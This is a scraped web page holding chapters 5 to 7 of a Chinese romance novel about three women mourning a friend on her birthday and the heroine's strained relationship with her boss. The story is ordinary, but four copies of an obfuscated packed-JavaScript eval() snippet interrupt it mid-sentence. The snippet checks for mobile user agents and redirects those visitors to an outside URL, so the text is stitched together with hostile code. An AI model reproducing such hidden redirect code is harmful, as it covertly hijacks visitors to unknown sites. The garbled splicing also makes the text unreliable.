;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071552|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有件事想告诉你们。” “神神秘秘,有什么大事是需要所有人在场才能说的?” 一条群消息打断了梁雪琛的追问,韩祎向三人群里发来一条消息:路边没车位了,你们吃好直接出来吧,我在门外临时停车等你们。 景安安从后厨的冰箱里拿出上午自制的蛋糕,蛋糕盒上系着粉色的蝴蝶结。 梁雪琛接过来,透过透明的蛋糕盒,看到粉色奶油蛋糕上插着写有“雨婷生日快乐”的白色巧克力立牌。 韩祎的黑色奔驰停在咖啡店前,看到两人走出来,她降下车窗打招呼。 梁雪琛提着蛋糕坐在后座,景安安则自然地在副驾驶上坐下。两人系好安全带后,韩祎直接把车开了出去。 车上放着音乐广播电台,中午正是播放八卦娱乐的时候,电台女主持用超级夸张的语调讲述今日热门头条,正好提到昨夜错失了新人奖的唐诗雯海边浪漫一夜的“事迹”。 景安安皱眉问道:“这新闻是真的假的啊,程珏出轨唐诗雯?” 韩祎抬头看了一眼后视镜里的梁雪琛,答道:“当然是假的咯,唐诗雯昨天没拿到新人奖,程珏只不过是出去安慰失意的朋友而已。他们在海边坐了三个小时,一点多的时候程珏就回办公室睡觉了。那些媒体总喜欢看图编故事,不编故事哪来的流量。” 听完韩祎的话,坐在后座的梁雪琛不屑地哼了一声。 “有什么好哼的,程珏的人品不至于那么不值得信任吧?” 梁雪琛调侃道:“一一,你这个解释怎么让我听着像是面对丈夫出轨、却又为了家庭忍气吞声的可怜正房夫人拼命为负心人找理由并自我洗脑的模样?” 韩祎回道:“正房夫人都没急,我用得着给谁洗脑?再说了正房夫人可怜吗?” 在梁雪琛回应之前,景安安转过头问道:“按理来说你现在应该很生气,可我为什么觉得你今天心情特别好?” “她的心情能不好吗?”上高架前的最后一个路口,韩祎没赶上绿灯通过,只好挂了空档拉上手刹停车等候。“这件事刚好给唐诗雯带来一波新热度,反正是假的也没有实质影响。还有明天大老板就来了,她一手主导的‘新声计划’就正式启动了,加上等关磊签下嘉程娱乐的合约,她答应雨婷要为关磊做的一切也就都做到了。” 听到关磊的名字,景安安眉头皱的更深,“签下关磊?雪琛,你不但为关磊策划一个项目,让我以他为原型写剧本,还直接把他签下来?” 三个月前梁雪琛开始向景安安约剧本稿,大致内容是一个热爱音乐的男生追寻梦想的故事,据说是为“新声计划”量身定制的一系列资源之一,那时候景安安就知道她收到的故事原型就是关磊。 那个人在她们三人的青春岁月中留下了深刻的痕迹。 “答应雨婷?”梁雪琛的怒气隐隐升起,“韩祎,当初你们分手时是你让我去帮关磊的,你根本就没有放下他,我只是不想让你一辈子遗憾!” 绿灯亮起,韩祎一言不发地挂挡、放手刹、踩油门,车子上了高架。 5. 第五章 回忆 新闻结束后,电台开始放听众点播的歌曲,最近似乎突然掀起复古热潮,听众点的歌净是带有年代感的,比如此时正好播到蔡琴的《被遗忘的时光》。 梁雪琛想起大一的某个周末,四人挤在韩祎的台式机前看完了《无间道》系列电影,这首歌作为插曲让方雨婷哭得梨花带雨。 是谁在敲打我窗 是谁在撩动琴弦 那一段被遗忘的时光 渐渐地回升出我心坎 ……——《被遗忘的时光》歌词选段 “我真的已经彻底放下关磊了,他应该也和我一样。”韩祎的叹息声几不可闻,她偷偷深吸一口气道:“对了,我和贺君昊打算下个月补办一场婚礼。” “什么!”听到这话,景安安和梁雪琛诧异地看向韩祎,异口同声。 韩祎耸耸肩,努力让自己的声音听上去更坦然:“我们现在这样很好,就这么过一辈子也挺不错的。” “韩祎,你知道你在干什么吗?”梁雪琛有理由觉得韩祎的脑子烧坏了,“贺君昊是怎样的人,你比我们都清楚吧!” 景安安也十分不解:“一一,你是在开玩笑吗?过几天才是愚人节。” 韩祎笑道:“就是因为我比你们更了解贺君昊,才能确定他不是你们印象中的那种人。我也想明白了,你们以前总说我任性,那我以后都不任性了,好好过日子。” 梁雪琛忍住骂人的冲动:“韩祎,我觉得我像白痴一样。”她自以为为关磊和韩祎创造了机会,以为他们只是少了她给的这个和好的契机,甚至不惜让程珏误会。 没想到还没等到她成为他们的和事佬,韩祎却直接宣布了她的“死刑”。 韩祎轻轻回道:“雪琛,你不是跟我说过对的人不会错过吗?那么会错过的就不是对的人了,对吧?” 下一首歌曲,有听众点播了张学友的《遥远的她》。 梁雪琛突然觉得有些恍惚,她想起在大一的迎新会上第一次听到这首歌的场景,一身白衬衫的关磊抱着吉他坐在台上慢慢唱起了这首歌。 关磊唱到一半时,她的耳边传来了低低的啜泣声,于是她稍稍侧过头,就看到了满脸泪花的方雨婷。 “这是我第一次听别人唱歌会哭。”节目结束,方雨婷的心情久久无法平静,“雪琛,你说一一认识台上这个男生么?这个男生可真好啊。” 梁雪琛纳闷,怎么听了一首歌就能下定义唱歌的人“真好”了呢,你可以夸一个陌生人好看、声音好听、身材不错,但就是不能在不了解一个人的前提下说这个人“好”。 很多年后她才反应过来,关磊的歌声是那么细腻那么富有感情,正如他温柔的性格一般让人动容,这样的人在开口说第一句话时,就应该夸他“真好”。 “雪琛,我和关磊之间……是我们的问题,你不需要为我做什么。”韩祎把音乐的声音调小,“或者,你可以为了你自己去做这些事情。” 梁雪琛刚要反驳,景安安连忙打圆场道:“雪琛,我知道你现在做的那个项目被业内一致看好,不管出于什么原因,既然开始了,总归是百利而无一害的。再说了,就算没有一一的这层关系在,关磊也是我们的朋友嘛……雨婷要是知道你为关磊付出了那么多心血,她也会很开心的。” 听到“雨婷”这个名字,梁雪琛低头看了身边座位上蛋糕,一下子沉默下来。 韩祎调小了音量,歌神的声音像是在梁雪琛的耳边低语。 遥远的她 不可以再归家 我在梦里却 始终只有她——《遥远的她》歌词选段 梁雪琛望向车窗外,远处有些云遮住了热辣的太阳,她看到自己的脸映在车窗上,与很多年前坐在她身边听关磊唱歌听哭了的方雨婷的模样重叠在一起。 认识方雨婷时,正是十八岁的青春年纪,而今天已经是方雨婷二十八岁的生日了。 景安安从后视镜中看不清梁雪琛的表情,于是转回头问道:“雪琛,你没事吧?” 梁雪琛无声地摇了摇头,抬头,与后视镜中的韩祎对视了一眼。 景安安笑道:“出来给雨婷过生日,咱们就别谈这些事情了。我也有件事要和你们分享。”她转向韩祎撒娇,“我的事儿也是事儿,你们都别敷衍我不听我说话。” 韩祎应道:“冤枉啊,我什么时候敷衍过你了。雪琛可以作证,你每次说‘晚上要去哪里吃饭’的‘大事’时,我都非常认真地回应了。” 景安安听到后笑出声来:“那我说了,我怀孕了,你们记得准备奶粉钱。” 她的话音刚落,梁雪琛睁大了眼睛说不出话来,惊讶程度不亚于刚才听到韩祎要办婚礼时的震惊。 韩祎则是什么话都没说,将车子稳稳当当地停在了应急车道上,打开双闪。 景安安不解地问道:“怎么停下来了,车子坏了吗?” “什么时候知道怀孕了,去医院检查过了吗?”韩祎眉头紧皱,“别人都说怀孕的前三个月不稳定要好好安胎,你怀孕了怎么不早说,还跟我们跑出去,疯了吗,陆安然知道吗,他能放心你到处乱跑吗?” 面对连珠炮似的问话,景安安没心没肺地答道:“一一,你太紧张了吧,我又不是瓷娃娃……早上我去医院检查了,怀孕七周,一切正常。再说了我们又不是去上刀山下火海,怎么叫做到处乱跑了。你快开车,没事停在应急车道上,这叫瞎占用公共资源。” 看着她说话时脸上洋溢着的幸福,梁雪琛突然反应过来陆安然刚发的朋友圈是什么意思了。 过了好一会儿,梁雪琛笑道:“大一的时候我们打赌,赌以后谁会先结婚生孩子,只有我赢了,你们记得把钱打给我。” 大一那年的12月31日,四个人跑到外滩看灯光秀。新的一年正式到来的时候,方雨婷突然提议打一个赌,看看四个人未来谁会先结婚谁会先有孩子。还没进入社会的少女们张口就是十万的赌金,青春时总把未来得很简单。 当时除了梁雪琛之外,每个人都觉得每天对爱情和未来充满幻想的方雨婷将会是第一个结婚的。 三人回忆着当年打赌的情景,梁雪琛的手机突然亮了起来。每年外出给方雨婷过生日时,她都会把手机调成静音。屏幕上无声地显示“程珏”两个字,但因为手机抓在手里,她一下子就看到了来电信息。 梁雪琛却像是没看到一样,任由屏幕闪烁。 终于屏幕显示未接信息,她刚想把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071553|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未接提醒关闭,对方又一次打了进来。 这一次她毫不犹豫地直接挂掉了。 于是几秒钟后轮到韩祎的手机振动,她很快打开车载蓝牙连接,广播中的音乐声停止,程珏的声音通过车载音箱传了出来。 “玉玉怎么啦,我正在开车。”韩祎的声音轻快。 据说“玉玉”是韩祎给程珏起的小名。 韩祎和程珏从小一起长大,两家交情匪浅,韩祎的爷爷是程珏父亲在商场上的老师。 韩祎的小名叫做“一一”,她第一次和程珏见面时,正巧在幼儿园刚认得几个字。程珏在纸上写下自己的名字,韩祎一看开心极了——“王”和“玉”都是她学过的字。 “这个不是王,是斜玉旁。”比韩祎大了不到两岁的程珏耐心地纠正这个小妹妹。 韩祎歪着脑袋想了想,很快领悟到程珏的意思:“哦……那你就是玉玉哥哥。” 小小的程珏再有风度也快要被这个女娃娃激怒了,压着怒气想继续纠正,谁知道程妈妈在一旁答道:“玉玉这个名字也挺好听的嘛。Alex没有小名,要不就叫玉玉吧,一一、玉玉,这两个名字多搭呀。” 梁雪琛不知道最终这个名字有没有成为程珏公认的小名,唯一可以确定的是,她只听到过韩祎这么叫程珏。 “一一,雪琛在你的车上吗?”程珏的声音低沉,听不出任何情绪。 “当然在呀,我不是告诉你今天只有我开车吗?你怎么……“韩祎抬头看了一眼后视镜,大概知道程珏的用意了,于是她提示道:“我在开车,电话外放了。” 程珏听明白她的意思,也不再绕弯子,直接对梁雪琛说道:“雪琛,我在公司等你回来,我们坐下来好好谈谈,好吗?” “不好。”不知怎么的,程珏对梁雪琛的态度越风度翩翩,她就越莫名觉得难受,“程总,我还有很多工作没做完,没什么时间和您谈。” “所有的deadline我都可以给你往后延,你先把手上的事情放一放,我想我们之间需要把话都说清楚。” “程总找我谈话,是要给我加工资吗?我不和你谈,会扣我工资吗?如果和工资无关的话,我真的不想浪费时间和您多说一句话。”梁雪琛最擅长阴阳怪气,“我们不是已经达成共识了吗,钱对我来说比命还重要,您的deadline可以延期,但客户不能,我要赚的钱也不能。” 程珏终于被梁雪琛的态度激怒了,电话那头听得出在强忍着怒意:“梁雪琛,我就问了一句话,你用得着拐弯抹角说了一堆逻辑不通的东西出来吗?行,你好好加班,最好就住在公司里随时听候调遣,好好赚你的钱。“ 挂电话前,他调整语气,温柔地对韩祎说道:“注意安全。” 广播里的音乐随着程珏的电话挂断重新响起。 韩祎长叹一口气道:“雪琛,你总不能永远不跟他谈,何况明天程伯伯和程妈妈就过来了。” “谈什么?”梁雪琛讥笑道,“谈就算是我早就和你商量过了也不该签下关磊,还是谈他跟我的女艺人在海边约会一夜留下一堆烂摊子让我处理真的很烦?又或者再跟他强调一次钱对我来说有多重要,我就是一个为了钱可以不折手段的loser?” 6. 第六章 思念 东南边的小镇上有一个略显荒芜的沙滩,也许这里曾经是个度假区,后来被荒废了。沙滩上的石桌石椅静静描绘着一段被遗忘的过往。 一对退休的夫妻在海边开了一间小小的面馆,两人勤勤恳恳地做着每天几十碗面的生意。招牌上“幸福面馆”四个字已经褪色,不知是漫长时光的痕迹,还是海风让它更容易沧桑。 这里的客人几乎都是居住在镇上、工作在市里的早出晚归的本地人。 在梁雪琛二十岁那年,网上流行跟着公交车体验城市的小文艺活动,大致意思就是出门之后乘上最先遇到的公交车,定好几站之后下车,然后再换乘下车后遇到的第一辆公交,如此反复,直到在最后一班车的终点站打卡。 方雨婷二十岁的生日时拉着三个室友玩了这个浪漫的游戏。 午饭后出门,最终四人来到了这个小镇。公交站建在沙滩边的公路旁,她们一抬眼,便看到了这片美丽的海。 身后的夕阳将年轻女生们的影子拉长再拉长,方雨婷在日落前许下了一个生日愿望——希望从今以后,三个室友都能陪她来这个海边度过每一个生日。 “毕业之后也许这个愿望就很难完成了……”看着最后一丝余晖消失在天际,方雨婷突然变得有些难过,“要不不需要每年都来,我们每五年来这里聚一次,你们说好不好?” “这个简单,“梁雪琛想也没想就答应了,“只要我们毕业之后都留在上海,你想什么时候来,我们就什么时候来。” 可那是方雨婷第一次也是最后一次看到了这片海。 面馆的老板娘很顺手地从梁雪琛的手中接过蛋糕放进店内的冰柜里,从梁雪琛出国的那三年,只有韩祎和景安安每年都会出现时,她便知道这个日子对于她们有着特殊的意义。 “这么快又一年过去啦?”老板娘给她们端上了绿豆汤,梁雪琛觉得老板娘似乎比去年变得憔悴了些。 “我给你们准备了28根蜡烛……今年是28岁对吧?” 第一年来时,景安安准备了数字蜡烛,但老板娘总会给她们送上传统的蜡烛,每年多增加一根。她们都更喜欢老板娘准备的蜡烛。 梁雪琛感叹道:“是啊,28岁了……真的很快呢,雨婷走了整整6年了。” “你们先在屋里聊会儿天,等会儿太阳落下去些,再到海边去。”老板娘叫来正在收拾厨房的老板,“你快去擦擦石凳子。” 和眼睛里总闪着精明的光的老板娘不同,面店老板是个沉默寡言的老实人。 老板娘总在指挥他做这做那的,他一向一言不发地完成妻子交待的事情。今天老板却反常地回了几句,语气里隐隐透着担心:“我不是让你坐着休息吗,这些事你叫我一声,我就出来弄。” 说罢他朝三人点头算是打了招呼,脸上依然木讷。 三人安安静静地对坐着,一口一口慢慢喝下绿豆汤。店里老旧的音箱中流淌出很有年代感的音乐,让人仿佛回到了老电影里岁月静好的时代。 期间有两三个年轻人过来吃面,老板娘刚想扯着大嗓门招呼,都被老板制止了,他不容反驳地命令她在一边休息。 当一个人忙碌太久了,好不容易有了发呆的时间,这时间便会过得飞快。 一碗绿豆汤喝完,食客已经过去好几拨,太阳也不再耀眼,地上的影子慢慢变长。 “走吧,吃蛋糕去。”景安安先站起身,像往常一样负责准备提上蛋糕。 梁雪琛一个健步冲了上去:“你快坐着,这些我来。” 她的举动把老板娘都吓了一跳,景安安替她解释道:“我肚子里有宝宝了,她们都比我紧张。” 老板娘惊喜道:“哎呀,好事情呀,可真是太好了!恭喜恭喜呀!”她恨不得拉着景安安坐下来,说上三天三夜的怀孕注意事项。 景安安不好意思道:“哪里有那么脆弱,我还没有什么感觉呢。” 三人将蛋糕摆在石桌上,上面插上老板娘准备的28根蜡烛。 围着石桌的四张石椅,背对着大海的那一张无人入座。八年前她们第一次来到这个地方时,方雨婷就坐在这张石椅上。 梁雪琛从手提包里拿出一封信,米黄色的信封上写着“雨婷收”几个字,用印着玫瑰花的红蜡封口。 她捏着信封的一角靠近点燃的蜡烛,整封信很快被烧了起来。直到火焰快烧到手,她才放手任由快燃烬的信件跌落在沙滩上。这是她近几年的习惯,她相信火焰与海风能够替她将写满心事的信件送给天堂的方雨婷。 当这封信燃尽之后,一阵风吹过,灰烬随风飘散。 然后三人一起吹灭28根蜡烛。 韩祎切了三小块蛋糕,三人安静地吃着蛋糕,每个人都有心事,此刻她们独享各自的心事。 梁雪琛突然记不清在自己写了好久的信里,具体提到了哪些事情,只记得信的开头是这么写的: “亲爱的雨婷,你在天国还好吗?转眼间失去你六年了,可我对你的想念却一天比一天更甚。我终于帮一一、帮你、也帮我自己实现了心愿,如果你看到我帮助关磊一步步完成他的梦想,会不会为我做的这一切感到一点点开心?” 等夜幕完全降临时,她们和老板娘道别。 每一年都说着差不多的话,然后下一次见面就是一年后的同一天,日子便就这样悄然过去。 “哎……”老板娘欲言又止。 “怎么了,出什么事儿啦?”韩祎把车开到面店前接梁雪琛和景安安,对上了老板娘似乎藏着秘密的眼眸。 景安安半开玩笑问道:“该不会是这里要拆迁,你们的店也要换个地方开了吧?” “这里什么资源都没有,又不搞开发,怎么会拆迁呢?”老板娘笑着回道:“我退休之后开了这家店,我开了六年,你们也来了六年,就像老朋友一样了。但我家孙子9月份就要上小学啦,我儿子说他们小两口工作忙,又打算要二胎,所以我们要到市里去带孙子了。” 虽说知道对于老板娘来说停下工作享受天伦之乐是不错的选择,但想到明年就见不到老板娘了,三人都不免有些伤感。 “镇上的一户人家顶上了这间店,他们人很好,我交待了他们每年这个时候要为你们准备生日蜡烛,再把石椅石桌清理清理。你们就照常过来,没什么影响的。” 老板娘似乎看出了她们的伤感,又安慰道:“如果明年情况能好一些……我是说带孙子不怎么忙的话,这儿毕竟是我们生活了很久的地方,还是会回来看看的,也许明年还能见面呢。” 当车子驶离面店,梁雪琛从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071554|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后视镜里看到老板娘一直在跟她们挥手告别,老板安静地站在一旁温柔地注视着妻子,直到车子越驶越远,最终这对恩爱的老夫妻彻底从她的视线中消失。 回程的路上三人仍是闲聊着,背景乐与来时是同一个电台。交通广播电台放的音乐类型不一,从过去到现在的国内外音乐都有可能被点播。 “一一,你真的要办婚礼吗?”景安安还是不愿相信韩祎的决定。 她们都知道韩祎和贺君昊其实早就是名义上的夫妻了,但办了婚礼无异于向亲朋好友宣布,他们最终动了真感情并决定相守一生。 这其中的过程太过复杂,连景安安和梁雪琛都没有完全搞明白那两人的关系。 “安安,我真的没在开玩笑,你再向我确认一百次一千次都只有一个答案。过两天我会把请柬发给你们,这就是一个简单的婚礼,只邀请了比较亲近的亲戚朋友。” 韩祎决定的事情向来不会有回头的余地,当初决定和关磊在一起、决定和关磊分开、决定和贺君昊假结婚,到现在决定真的和贺君昊在一起,没有人能阻止她的决定。 “你告诉程珏了?”梁雪琛很好奇程珏听到这件事会是个什么反应。 “中午吃饭的时候和他说了,我的事情不会瞒着他。” “那他是什么反应?” 韩祎不解道:“他能有什么反应?从小到大无论我做什么,他都会站在我这边支持我。梁雪琛,我觉得你应该关心的不是程珏对我的事情有什么反应,而是该想想你连跟他好好谈谈的机会都不给他,他会有什么反应。“ 梁雪琛垮下脸,伸手取下发簪,用手胡乱理了一下散开的头发,歪靠在车窗上。 韩祎从后视镜看到她那张不耐烦的脸,笑道:“我打个电话问玉玉在哪儿,然后把你送过去和他聊聊吧?“ “不要!”梁雪琛几乎要跳起来了,“我还有很多事情没处理完,待会儿路过公司你就把我放下来,再送安安回家。” 韩祎还想再说几句,梁雪琛转移话题开始问起景安安的身体状况来了。 已经过了晚饭时间,作为好好先生代表的陆安然居然一个电话也没打过来,丝毫不关心刚怀孕的妻子饿了没,下次见面她一定要替闺蜜好好盘问盘问。 没想到没等到陆安然过来秀恩爱,梁雪琛倒是又接到了程珏的来电。反正不管接不接电话程珏总能有办法和她说上话,她干脆就接起来了。 “雪琛……”程珏没想到梁雪琛居然接了电话,“你们回来了吗?原本想在公司等你回来的,但家里有点儿事我先回去处理了。” 梁雪琛心想“关我什么事”,但嘴上懒懒地回了一个字:“嗯。” 程珏不介意她冷漠的态度,继续说道:“我们真的需要好好坐下来谈一谈。” “再说吧。”梁雪琛不耐烦地打断了对方的话。 “好。”程珏也不是一个喜欢胡搅蛮缠的人,“那等过几天你有空的时候我们再谈吧。你加班也别加太晚了,早点儿回家。” 挂了电话之后,梁雪琛突然觉得自己的态度确实有些过分了。 每次都是这样,在他良好的家教面前,她觉得自己就是个不折不扣的小人,于是越是面对他表现出来的翩翩风度,她就越是觉得自己低贱到了尘埃里。 7. 第七章 回家 陆安然早已在嘉程大厦楼下等候多时,他靠着车门,低着头快速回复一条条工作上的消息。 看到韩祎的车驶近,陆安然愉快地招了招手。 “我刚好下班,顺路过来把安安接回去,这样就不用麻烦韩祎绕远路了。” 陆安然身穿舒适的白色T恤,戴着一副无框眼镜,学生气十足。 他的设计院在黄浦江的那一边,能顺路才怪呢。 梁雪琛先行下车,笑着调侃道:“我太羡慕安安有个下了班那么‘顺路’的另一半了。陆大设计师,你说安安上辈子救了你几条命才换得你这辈子为她做牛做马哟。” “是我上辈子拯救了银河系,这辈子才能娶到安安。” 陆安然对梁雪琛的调侃见怪不怪,每次他都能用更夸张的说辞来回应她的调侃。 他替景安安开了副驾驶的门,小心翼翼地将她扶出来,关上车门前还不忘顺便对韩祎道了声谢。 梁雪琛偷偷翻了个白眼,目送二人离开后,和韩祎说了再见。 “雪琛……”韩祎降下车窗叫住她,“昨晚你没休息好,今天就早点儿回家吧。” 梁雪琛摆摆手,头也不回地走进了嘉程大厦。 时间已经过了晚上八点,加班的员工也陆续下班了。梁雪琛一路上碰到几个嘉程娱乐的同事,他们见惯了梁雪琛加班的身影,倒也不意外她在请了假的晚上仍然出现在公司。 “我回来拿点儿东西,拿完就走了。”梁雪琛解释,虽然这个解释毫无必要。 梁璐竟然也还没有下班,跟梁雪琛打过招呼之后,转身去茶水间拿来一份热腾腾的盒饭套餐,两荤一素还配了一碗排骨汤。 “哇,璐璐,你和我也太心有灵犀了,猜我要回来加班还给我点了晚餐。” 梁雪琛知道梁璐向来都很细心,点的菜都是她喜欢的。加上她一整天其实也没有吃太多东西,此时刚好有些饿了,于是大口吃起饭来。 “虽然我和你确实是心有灵犀,不过这份饭不是我点的。”梁璐挨着梁雪琛坐下,“七点的时候,张总让我过去公关部一起开那个新闻的舆情沟通会,刚好碰到程总给公关部的同事点了外卖,我还蹭了一份。过一会儿程总突然说你晚上会回来加班,担心你老不吃晚饭对胃不好,所以单独给你点了你喜欢的菜,叫我拿回来等你。” 听到“程总”的时候,梁雪琛拿着勺子喝汤的手颤抖了一下,几滴汤水撒在茶几上。她不动声色地将茶几擦干净了。 “唉,姐,虽然昨天把唐诗雯带出去还被狗仔拍到真的很离谱,但是撇开这件事不谈,程总对你真的挺好的。我想程总和唐诗雯之间可能确实没什么,报纸上写的内容是不是太夸张了?” “我什么时候说过他和唐诗雯之间有什么了?”梁雪琛笑道,“璐璐,你等我回来就是为了跟我说程珏对我挺好的、以及你想了一整天终于说服自己程珏和唐诗雯之间什么事儿都没发生?与其浪费时间在程珏身上,不如早点下班回家休息。” “的确是马上就下班了,我可不像你有家不喜欢回。” 梁璐拿来几个文件夹,封面上都备注了里面的内容,她简明地向梁雪琛汇报这些大小事项。 “姐,我把明天总部过来的人员名单打印下来了,你先看看。对了,董事长点名你去接机,我安排了三辆七座商务车,如果你明天不自己开车的话,再临时加一辆商务车。” 梁雪琛看了一眼名单,问道:“程珏去接机吗?” “这倒是没听总裁办的同事提起,不过董事长夫人那么久没见到儿子,应该是希望程总去接机的吧?要不你自己问问程总?” 梁雪琛想也没想答道:“问不问都一样,不问了。” “对了姐,最下面那个是下午唐诗雯的采访记录。我和张总确认过了,唐诗雯回答的内容和我们的对外声明一致,没有什么大问题。” 提起这件事,梁璐还是觉得很离谱:“可我真是想不通,唐诗雯自己作死就算了,程总怎么会不知道其中的利害关系呢?” 梁雪琛快速扫了一眼采访记录,平静地答道:“一个巴掌拍不响,诗雯对很容易对人有依赖之心,说到底是程珏给苍蝇提供了鸡蛋的缝。” 她想起昨天被她点了忽略的弹窗信息:雪琛,诗雯的情绪不太好,我带她去金城海滩散散心,你们那边结束之后让石宇过来接她回去吧。 颁奖礼后的庆功宴结束后,梁雪琛直接回了家。三个小时之后,她接到了公关部的紧急电话。 “姐,你在想什么那么入神?”梁璐用手在梁雪琛的眼前晃了晃,将她的思绪拉了回来。 “哦……没什么,还有其他的事情吗?” “还有就是这个。”梁璐没有继续追问,从一个文件夹中拿出一张收据凭条交给梁雪琛,“二叔已经收到那五十万了,预算使用计划书在这里。那些钱一部分用于支付符合条件的贫困生住宿费用和购买学习用具,大部分用在学生们的学费垫付上,被资助的学生名单和家庭概况都在文件夹里。二叔预留出五万块钱,按照你的要求在初三和高三的所有教室里装教学用投影仪,预计下个月能完工。” 梁雪琛接过文件夹,满意地点了点头:“璐璐,辛苦了,你做得很好,那么晚了,快先下班吧。” 梁璐离开后,梁雪琛突然觉得口中的汤水都变得苦涩起来。 “排骨汤的做法很简单,没有太多讲究的话,将排骨洗净,与花生、莲藕放进锅里煮半个小时,加点盐就可以盛出来了。” 恍惚间似乎有人煮了一锅排骨汤,然后在她耳边小声哄道:“来,先把汤喝了,如果把自己都累倒了,努力又还有什么意义呢?” 手中的塑料勺子跌落,梁雪琛环顾四周,办公室里除了自己还有谁呢? 她没了胃口,索性把餐盒收拾了一下,坐在电脑桌前仔细翻阅梁璐留下的文件夹。 不知过了多久,手机闹钟响起,梁雪琛习惯性地伸手拉开抽屉拿出药盒,很快又想起从今天开始她完全不需要吃药了,只是忘了把闹钟关掉。 闹钟响意味着已经十点了,她连忙把文件塞进柜子里,拿起手提包往外走。 坐上倒数第二班地铁,就能换乘倒数第一班下一条线路的地铁,然后坐七个站下来,刚刚好可以赶上回家的公交。 她对这条换乘线路无比熟悉,几乎每次都能幸运地踩准时间点。 梁雪琛很喜欢坐地铁,也很喜欢悄悄猜测地铁上每个人将在哪一站下车,她在心里偷偷地给每个人假设一个下一站的故事,比如下一站下车后找到一家热闹的大排档和朋友们吃烤串喝啤酒聊一天的喜怒哀乐,比如下一站下车后回到家,在家里等待一天的猫咪快乐地跑上前来迎接主人。 她给每个人的故事编撰了一个温暖的结局,即使是愁眉苦脸的陌生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071555|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,她也相信他们下一站下车时就会收获好运。 这个班次的公交司机已经很熟悉梁雪琛了,看到她上车,愉快地打了招呼。 下了公交之后走不到一百米,就来到了明明住了很久却依然觉得陌生的家门前。 指纹锁打开,梁雪琛推门而入,经过种满太阳花的院子时,她抬头看了一眼,三楼房间的灯随即熄灭了,厚厚的窗帘遮住了落地窗,将房间内外隔绝。 张妈听到大门的开门声,连忙迎了出来。她长得很矮,五十多岁的年纪,脸上总挂着精神满满的微笑。 “怎么又加班到这么晚,吃过饭了吗?又是坐地铁回来的吧?”张妈牵着梁雪琛的手走进房子里。“以后那么晚的话还是让阿宸去接你吧,坐地铁太浪费时间了。” 张妈就像一个母亲关心女儿那样关心她。 梁雪琛笑道:“今天下午去了海边,吃了蛋糕。回公司加班的时候吃了饭喝了汤,到现在还觉得有点撑。” 她径直走进厨房,打开冰箱拿出一听啤酒。 张妈跟在她身后,担忧道:“早知道我就不给你买酒了,每天一回家就喝酒,明天被你爸妈看到了不好。” 梁雪琛坐在吧台前,边喝酒边笑着听张妈唠叨。张妈挨着她坐下,长长地叹了口气。 听到客厅的声响,已经睡下的管家赵叔也起来了。赵叔是张妈的表哥,两个人都在这个家里工作了很多年。 “赵叔怎么起来啦,快去睡吧,很晚了。”梁雪琛不自觉带上撒娇的语气,“别老担心我,我喝完酒就上楼洗洗睡了。” 赵叔和张妈对视一眼,无奈地叹了叹口气道:“今天你还睡二楼吗?如果还睡二楼的话明早出门前记得把东西整一整,你上班的时候我们收拾收拾搬回三楼去。如果今天直接回三楼,那待会儿让你张妈直接帮你收一收,你先上去洗漱。” “二楼挺好的,我都住习惯了,下楼方便上楼也不需要走那么多台阶。要不是明天爸妈过来,我觉得我还能在二楼住很久呢。” 张妈指着电梯说道:“等那部电梯修好,什么方不方便的就当不了借口了。” 梁雪琛笑道:“你看你也听出来了是借口,那我想住二楼的话总能一直找到借口。” 赵叔又叹了一口气。 梁雪琛习惯了所有人都为她叹气。 门把手转动,阿宸边揉着眼睛边走了进来。他二十出头,是张妈的外甥,中专毕业后考了驾驶证,张妈把他介绍过来当司机。 阿宸是个机灵的小伙子,手脚勤快,也很好学,梁雪琛十分喜欢他。 看到梁雪琛,阿宸凑过来问道:“姐,你下班了怎么没给我打电话让我开车去接你?” 梁雪琛瞥见他的手上拿着个车钥匙,反问道:“这是新买的车?” 阿宸点点头,把钥匙递给她:“前两天才买的车,昨晚跑了一趟海边我还差点儿开进坑里了。脏死了都是沙子,我擦了一晚上才把车子擦干净。” 